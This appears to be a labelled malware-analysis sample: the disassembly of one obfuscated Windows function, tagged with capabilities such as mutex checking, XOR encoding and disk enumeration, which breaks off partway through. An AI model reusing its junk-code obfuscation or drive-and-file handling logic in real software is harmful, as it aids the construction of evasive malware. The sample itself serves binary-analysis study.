Function at 0x100014d0
Capabilities:
Accept command line arguments
Check mutex on windows
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x544
push esi
push edi
mov eax, 0x700000
mov dword [ebp - 0x68], 0x25f9
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x228], 0x6cde
cmp dword [ebp - 0x64], 0x700000
jl 0x10001548
jg 0x10001508
cmp dword [ebp - 0x68], 0x7b2d
jb 0x10001548
mov ecx, dword [ebp - 0x68]
sub ecx, 0x48c9
mov edx, dword [ebp - 0x64]
sbb edx, 0x700000
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
and eax, 0x1f81
mov ecx, dword [ebp - 0x64]
and ecx, 0x700000
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
push 0x49
push 0x6f
call fcn.10001430
add esp, 8
jmp 0x10007d77
mov edx, 0x54f
mov word [ebp - 0xc], dx
mov dword [ebp - 0x214], 0x2e93
mov dword [ebp - 0x38], 0x66ff
lea eax, [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x38]
shr eax, 0xf
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
or eax, 0x5bd5
mov dword [ebp - 0x38], eax
movsx ecx, word [ebp - 0xc]
xor ecx, 0xd1
mov word [ebp - 0xc], cx
movsx edx, word [ebp - 0xc]
shl edx, 7
mov word [ebp - 0xc], dx
movsx eax, word [ebp - 0xc]
add eax, 0x591
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x68]
sub ecx, 0x369
mov edx, dword [ebp - 0x64]
sbb edx, 0x700000
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x38]
and eax, 0x5c47
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x214]
sub edx, 0x31
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
add ecx, 0x280d
mov dword [ebp - 0x38], ecx
movsx edx, word [ebp - 0xc]
sub edx, 0x7e1
mov word [ebp - 0xc], dx
movsx eax, word [ebp - 0xc]
sub eax, 0x6b1
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x98]
xor ecx, 0x28e9
mov edx, dword [ebp - 0x94]
xor edx, 0x700000
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], edx
movsx eax, word [ebp - 0xc]
or eax, 0x93
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x38]
shr ecx, 0xb
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
shl ecx, 0xf
mov dword [ebp - 0x38], ecx
movsx edx, word [ebp - 0xc]
and edx, 0x7e9
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, 0x76e5
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
sub edx, 0x1d41
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
and edx, 0x61d9
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
add ecx, 0x533f
mov dword [ebp - 0x38], ecx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x434], eax
movsx edx, word [ebp - 0xc]
sub edx, 0x7fb
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, 0x387b
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
add eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
or eax, 0x6e5f
mov dword [ebp - 0x38], eax
movsx ecx, word [ebp - 0xc]
xor ecx, 0x35d
mov word [ebp - 0xc], cx
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov cl, 0xd
call fcn.10007e10
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
shl eax, 0xd
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
and ecx, 0x6efb
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x98]
add eax, 0x1b75
mov ecx, dword [ebp - 0x94]
adc ecx, 0x700000
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
movsx edx, word [ebp - 0xc]
sub edx, 0x301
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x98]
add eax, 0x358d
mov ecx, dword [ebp - 0x94]
adc ecx, 0x700000
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
movsx edx, word [ebp - 0xc]
sub edx, 0x4e7
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, 0x7d59
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x214], 0x28d5
jae 0x1000157a
mov byte [ebp - 0xd], 0x67
mov dword [ebp - 0x224], 0x64cc
mov edx, 0x700000
mov dword [ebp - 0xdc], 0x3f7f
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0x1c8], 0x7952
movsx eax, word [ebp - 0xc]
and eax, 0x139
mov word [ebp - 0xc], ax
movsx ecx, word [ebp - 0xc]
add ecx, 0x5e5
mov word [ebp - 0xc], cx
movsx edx, word [ebp - 0xc]
add edx, 0x7bd
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
xor eax, 0x517
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38]
shl eax, cl
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38]
shr edx, 0x19
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
or edx, 0xe97
mov dword [ebp - 0x38], edx
movzx eax, byte [ebp - 0xd]
and eax, 0xdf
mov byte [ebp - 0xd], al
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
sub edx, 0x133b
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
add eax, 0x37e1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x228]
add edx, 0xfc
mov dword [ebp - 0x228], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x68]
add eax, 0x48f5
mov ecx, dword [ebp - 0x64]
adc ecx, 0x700000
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
movzx edx, byte [ebp - 0xd]
add edx, 0xdb
mov byte [ebp - 0xd], dl
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
and ecx, 0x2c55
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x228], 0xa4fa
jb 0x100017ec
movsx edx, word [ebp - 0xc]
cmp edx, 0x275
jge 0x1000193c
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x38]
shl edx, cl
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
push 0xfffffffffffffff8
movzx ecx, word [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x94]
push edx
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
mov edx, dword [ebp - 0x98]
push edx
push 0x55
call fcn.10001400
add esp, 0x1c
jmp 0x10001985
mov eax, dword [ebp - 0x38]
sub eax, 0x6911
mov ecx, dword [ebp - 0x1c]
cmp eax, dword [ecx]
jne 0x10001985
movzx edx, byte [ebp - 0xd]
or edx, 0x17
mov byte [ebp - 0xd], dl
mov eax, dword [ebp - 0x38]
xor eax, 0x1e7d
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xd]
sar edx, 3
mov byte [ebp - 0xd], dl
movsx eax, word [ebp - 0xc]
add eax, 0x53f
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.10001470
add esp, 4
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
and eax, 0x1bdf
cmp eax, dword [ebp - 0x38]
ja 0x10007cb3
movsx ecx, word [ebp - 0xc]
cmp ecx, 0x4bb
jg 0x100019be
movzx edx, word [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
movzx edx, word [ebp - 0xc]
push edx
call fcn.100013c0
add esp, 0x10
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x2ec], eax
mov dword [ebp - 0x2e8], ecx
cmp dword [ebp - 0x2ec], 0x51c9
jne 0x100019ee
cmp dword [ebp - 0x2e8], 0x700000
je 0x100019f0
jmp 0x10001a61
mov edx, dword [ebp - 0x38]
and edx, 0x21c7
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xd]
or ecx, 0xc5
mov byte [ebp - 0xd], cl
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
shl eax, 9
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.10001470
add esp, 4
movsx edx, word [ebp - 0xc]
sar edx, 1
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x38]
xor eax, 0x571
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xd]
add edx, 0x15
mov byte [ebp - 0xd], dl
movzx eax, word [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
call fcn.100013c0
add esp, 0x10
jmp 0x10001ace
mov edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe0], eax
mov cl, byte [ebp - 0xd]
mov byte [ebp - 0x1f], cl
mov dword [ebp - 0x6c], 0x1df1
mov dx, word [ebp - 0xc]
mov word [ebp - 0x50], dx
push 0
push 0x400
push 4
push 0
push 4
push 0xc0000000
push 0x10001008
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x1c0], 0x312a
movzx eax, byte [ebp - 0xd]
movzx ecx, byte [ebp - 0x1f]
add eax, ecx
mov byte [section..data], al
mov byte [ebp - 3], 0xb
mov dl, byte [ebp - 3]
mov byte [ebp - 2], dl
lea eax, [ebp - 3]
mov dword [ebp - 0x28], eax
mov cl, byte [ebp - 3]
mov byte [ebp - 1], cl
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x74], eax
lea ecx, [ebp - 2]
mov dword [ebp - 0x18], ecx
push 0
push 0x10
push 3
push 0
push 1
push 0x40000000
push 0x10001018
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x1b8], 0x14
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 3]
and eax, ecx
mov byte [ebp - 1], al
mov dx, word [ebp - 0x50]
mov word [0x10008034], dx
movzx eax, byte [ebp - 0x1f]
movzx ecx, byte [ebp - 0xd]
imul eax, ecx
movzx edx, byte [section..data]
cmp eax, edx
jl 0x10007b72
mov eax, dword [ebp - 0x18]
mov cl, byte [eax]
mov byte [ebp - 7], cl
lea edx, [ebp - 7]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x98]
call fcn.10007e10
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2f0], edx
mov eax, dword [ebp - 0x2f0]
cmp eax, dword [ebp - 0xac]
jg 0x10007b23
jl 0x10001bb8
mov ecx, dword [ebp - 0x2f4]
cmp ecx, dword [ebp - 0xb0]
ja 0x10007b23
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 2]
add eax, ecx
mov edx, dword [ebp - 0x28]
mov byte [edx], al
mov al, byte [ebp - 1]
mov byte [ebp - 6], al
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
imul edx, ecx
mov byte [ebp - 2], dl
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x26c], edx
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x26c], 0x3bab
jne 0x10001c0b
cmp dword [ebp - 0x268], 0x700000
je 0x10001c74
cmp dword [ebp - 0x26c], 0x1c011596
jne 0x10001c23
cmp dword [ebp - 0x268], 0x700380
je 0x10001c28
jmp 0x10001cf6
mov cl, byte [ebp - 2]
mov byte [ebp - 5], cl
mov dword [ebp - 0x1bc], 0x6734
movsx edx, byte [ebp - 3]
movsx eax, byte [ebp - 7]
and edx, eax
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
movsx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x18]
mov byte [eax], dl
mov cl, byte [ebp - 0x1f]
mov byte [ebp - 0x31], cl
mov dx, word [ebp - 0x50]
mov word [ebp - 0x54], dx
mov eax, 0x95d
mov word [ebp - 0x60], ax
jmp 0x10001cf6
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xac]
adc ecx, dword [ebp - 0x94]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
push eax
call fcn.10001470
add esp, 4
mov ecx, dword [ebp - 0xc4]
add ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6c]
sub eax, 0x2347
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 2], dl
movsx edx, byte [ebp - 3]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 6], dl
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 7], cl
mov cl, byte [ebp - 1]
mov byte [ebp - 4], cl
movsx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
cmp dword [ebp - 0x224], 0x7fa7
ja 0x10001f41
mov edx, dword [ebp - 0x6c]
and edx, 0x28b1
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x28]
mov byte [edx], cl
movzx eax, byte [ebp - 0x1f]
movzx ecx, byte [ebp - 0x31]
add eax, ecx
mov byte [section..data], al
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 4], al
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x18]
mov byte [edx], cl
movsx eax, byte [ebp - 3]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x28]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x2cc], eax
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 4], al
movsx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x30]
mov byte [ecx], al
mov edx, dword [ebp - 0xe4]
add edx, 0x50e1
mov eax, dword [ebp - 0xe0]
adc eax, 0x700000
mov dword [ebp - 0xdc], edx
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 2]
sub edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x30]
mov byte [ecx], dl
movsx edx, word [ebp - 0x50]
movsx ecx, word [ebp - 0x54]
shl edx, cl
mov word [0x10008034], dx
movsx eax, byte [ebp - 7]
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x30]
mov byte [ecx], al
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
xor eax, dword [edx]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xb0]
and ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0xac]
and edx, dword [ebp - 0x94]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x6c]
sub eax, 0x7a63
mov dword [ebp - 0x74], eax
movsx ecx, byte [ebp - 5]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 4], cl
movsx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 3], cl
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 2], cl
movsx ecx, byte [ebp - 5]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 1], cl
movzx ecx, byte [ebp - 0x1f]
movzx edx, byte [ebp - 0x31]
and ecx, edx
mov byte [section..data], cl
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x224]
add edx, 0x7d
mov dword [ebp - 0x224], edx
movsx eax, byte [ebp - 7]
movsx ecx, byte [ebp - 4]
sub eax, ecx
mov byte [ebp - 1], al
movsx edx, byte [ebp - 3]
movsx eax, byte [ebp - 6]
add edx, eax
mov byte [ebp - 7], dl
movsx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 5], dl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
or edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movsx edx, byte [ebp - 7]
movsx ecx, byte [ebp - 3]
sar edx, cl
mov byte [ebp - 1], dl
movsx eax, byte [ebp - 3]
movsx ecx, byte [ebp - 4]
xor eax, ecx
mov byte [ebp - 1], al
mov edx, dword [ebp - 0xdc]
and edx, 0xb81
mov eax, dword [ebp - 0xd8]
and eax, 0x700000
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe0], eax
movsx ecx, byte [ebp - 7]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x30]
mov byte [edx], cl
jmp 0x10001d0d
mov eax, dword [ebp - 0x74]
add eax, 0x5bd
cmp eax, dword [ebp - 0x6c]
jg 0x10007a2c
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x90], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x430], eax
lea edx, [ebp - 3]
mov dword [ebp - 0x48], edx
cmp dword [ebp - 0x1b8], 0x129e
je 0x10002166
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 4], cl
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 4]
sub edx, eax
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
movsx edx, byte [ebp - 7]
movsx eax, byte [ebp - 5]
add edx, eax
mov byte [ebp - 4], dl
movzx ecx, byte [ebp - 0xd]
movzx edx, byte [ebp - 0x31]
sub ecx, edx
mov byte [section..data], cl
mov eax, dword [ebp - 0xdc]
add eax, 0x29f
mov ecx, dword [ebp - 0xd8]
adc ecx, 0x700000
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], ecx
movsx edx, byte [ebp - 3]
movsx eax, byte [ebp - 5]
and edx, eax
mov byte [ebp - 1], dl
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x6c]
shl edx, cl
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 3], cl
movsx ecx, byte [ebp - 6]
movsx edx, byte [ebp - 4]
xor ecx, edx
mov eax, dword [ebp - 0x30]
mov byte [eax], cl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 6]
sar edx, cl
mov byte [ebp - 3], dl
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 7]
add eax, ecx
mov edx, dword [ebp - 0x18]
mov byte [edx], al
movsx eax, word [ebp - 0x54]
movsx ecx, word [ebp - 0x50]
and eax, ecx
mov word [0x10008034], ax
movsx edx, byte [ebp - 3]
movsx eax, byte [ebp - 6]
sub edx, eax
mov byte [ebp - 1], dl
movsx ecx, byte [ebp - 1]
movsx edx, byte [ebp - 7]
add ecx, edx
mov eax, dword [ebp - 0x48]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1b8]
add ecx, 0xe2
mov dword [ebp - 0x1b8], ecx
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 3]
sub eax, ecx
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x2ac], eax
movsx edx, byte [ebp - 7]
movsx eax, byte [ebp - 2]
add edx, eax
mov byte [ebp - 1], dl
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 3]
add edx, eax
mov byte [ebp - 2], dl
movsx ecx, byte [ebp - 2]
movsx edx, byte [ebp - 1]
sub ecx, edx
mov byte [ebp - 5], cl
mov eax, dword [ebp - 0xc4]
sub eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x98]
add edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x94]
adc eax, dword [ebp - 0x64]
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x6c]
sar edx, cl
mov eax, dword [ebp - 0x90]
mov dword [eax], edx
movsx ecx, word [ebp - 0x54]
movsx edx, word [ebp - 0xc]
xor ecx, edx
mov word [0x10008034], cx
mov eax, dword [ebp - 0x48]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 4]
shl edx, cl
mov byte [ebp - 2], dl
mov eax, dword [ebp - 0x38]
or eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
movsx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x18]
mov byte [eax], dl
movsx ecx, byte [ebp - 2]
movsx edx, byte [ebp - 1]
add ecx, edx
mov eax, dword [ebp - 0x30]
mov byte [eax], cl
jmp 0x10001f73
movzx ecx, byte [ebp - 0x31]
movzx edx, byte [ebp - 0xd]
sub ecx, edx
movzx eax, byte [ebp - 0x1f]
movzx edx, byte [section..data]
and eax, edx
cmp ecx, eax
jl 0x100079bd
push 0
push 0x80
push 5
push 0
push 4
push 0x40000000
push 0x10001044
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x10008038], eax
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 3]
sub ecx, edx
mov byte [ebp - 2], cl
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 4]
sub ecx, edx
mov byte [0x10008001], cl
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 5], dl
lea edx, [ebp - 5]
mov dword [ebp - 0x40], edx
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 2], al
cmp dword [ebp - 0x1bc], 0x7479
je 0x100022ec
movsx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x40]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x30]
mov byte [edx], al
mov eax, dword [ebp - 0x1bc]
add eax, 0x4f
mov dword [ebp - 0x1bc], eax
movsx edx, byte [ebp - 6]
movsx ecx, byte [ebp - 7]
shl edx, cl
mov byte [ebp - 1], dl
movsx eax, byte [ebp - 4]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 5], al
movsx eax, byte [ebp - 1]
movsx ecx, byte [ebp - 4]
sub eax, ecx
mov byte [ebp - 5], al
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x10008001], al
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 4]
add ecx, edx
mov byte [ebp - 6], cl
movsx eax, byte [ebp - 6]
movsx ecx, byte [ebp - 1]
sub eax, ecx
mov byte [ebp - 4], al
movsx edx, byte [ebp - 2]
movsx eax, byte [ebp - 1]
and edx, eax
mov byte [ebp - 5], dl
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 1], dl
movsx edx, word [ebp - 0xc]
movsx eax, word [ebp - 0x54]
add edx, eax
mov word [ebp - 0x50], dx
movzx ecx, byte [ebp - 0x1f]
movzx edx, byte [ebp - 0x31]
sub ecx, edx
mov byte [ebp - 0xd], cl
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 4]
sub ecx, edx
mov eax, dword [ebp - 0x48]
mov byte [eax], cl
mov ecx, dword [ebp - 0xb0]
xor ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0xac]
xor edx, dword [ebp - 0x94]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], edx
jmp 0x100021f7
mov eax, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
call fcn.10007eb0
mov dword [0x10008008], eax
mov dword [0x1000800c], edx
movsx eax, word [ebp - 0xc]
movsx ecx, word [ebp - 0x50]
shl eax, cl
movsx ecx, word [ebp - 0x54]
movsx edx, word [0x10008034]
or ecx, edx
cmp eax, ecx
je 0x10002371
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x108], ecx
mov edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xf8], edx
mov dword [ebp - 0xf4], eax
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x88], ecx
mov edx, dword [ebp - 0x40]
mov al, byte [edx]
